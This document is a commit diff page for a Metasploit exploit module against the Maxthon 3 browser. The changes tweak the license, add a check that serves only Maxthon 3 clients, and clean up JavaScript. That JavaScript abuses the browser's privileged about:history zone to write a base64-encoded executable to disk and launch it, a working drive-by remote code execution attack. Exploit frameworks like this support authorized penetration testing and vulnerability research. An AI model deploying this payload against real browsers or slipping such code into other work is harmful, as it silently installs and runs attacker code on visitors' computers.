Skip to content

Commit a1336c7

Browse files
committed
Some more changes
1 parent 9838a2c commit a1336c7

File tree

1 file changed

+18
-13
lines changed

1 file changed

+18
-13
lines changed

modules/exploits/windows/browser/maxthon_history_xcs.rb

Lines changed: 18 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -22,14 +22,14 @@ def initialize(info = {})
2222
Injection in such privileged/trusted browser zone can be used to modify
2323
configuration settings and execute arbitrary commands.
2424
},
25-
'License' => BSD_LICENSE,
25+
'License' => MSF_LICENSE,
2626
'Author' =>
2727
[
2828
'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
2929
],
3030
'References' =>
3131
[
32-
['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html'],
32+
['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html']
3333
],
3434
'Payload' =>
3535
{
@@ -45,19 +45,28 @@ def initialize(info = {})
4545
))
4646
end
4747

48+
def is_maxthon3?(request)
49+
request.headers['User-Agent'] =~ /Maxthon\/3\.0/ ? true : false
50+
end
51+
4852
def on_request_uri(cli, request)
53+
if not is_maxthon3?(request)
54+
print_error("Client isn't a Maxthon3 browser. Sending 404")
55+
send_not_found(cli)
56+
end
4957

50-
html_hdr = %Q^
58+
html_hdr = %Q|
5159
<html>
5260
<head>
5361
<title>Loading</title>
54-
^
55-
html_ftr = %Q^
62+
|
63+
64+
html_ftr = %Q|
5665
</head>
5766
<body >
5867
<h1>Loading</h1>
5968
</body></html>
60-
^
69+
|
6170

6271
case request.uri
6372
when /\?jspayload/
@@ -74,21 +83,15 @@ def on_request_uri(cli, request)
7483
# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
7584
# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
7685
# The Program DOM API isn't available on Maxthon 3.2 and upper versions.
77-
content =
78-
%Q{
86+
content = %Q{
7987
if(maxthon.program)
8088
{
81-
alert(1);
8289
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
8390
var fileObj = maxthon.io.File(fileTemp);
8491
maxthon.io.FileWriter(fileTemp);
8592
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
8693
maxthon.program.Program.launch(fileTemp.name_,"C:");
8794
}
88-
else
89-
{
90-
alert(2);
91-
}
9295
}
9396

9497
when /\?history/
@@ -97,13 +100,15 @@ def on_request_uri(cli, request)
97100
location.href = "about:history";
98101
}
99102
|
103+
100104
content = %Q|
101105
#{html_hdr}
102106
<script>
103107
#{js}
104108
</script>
105109
#{html_ftr}
106110
|
111+
107112
when get_resource()
108113
print_status("Sending #{self.name} payload for request #{request.uri}")
109114

0 commit comments

Comments
 (0)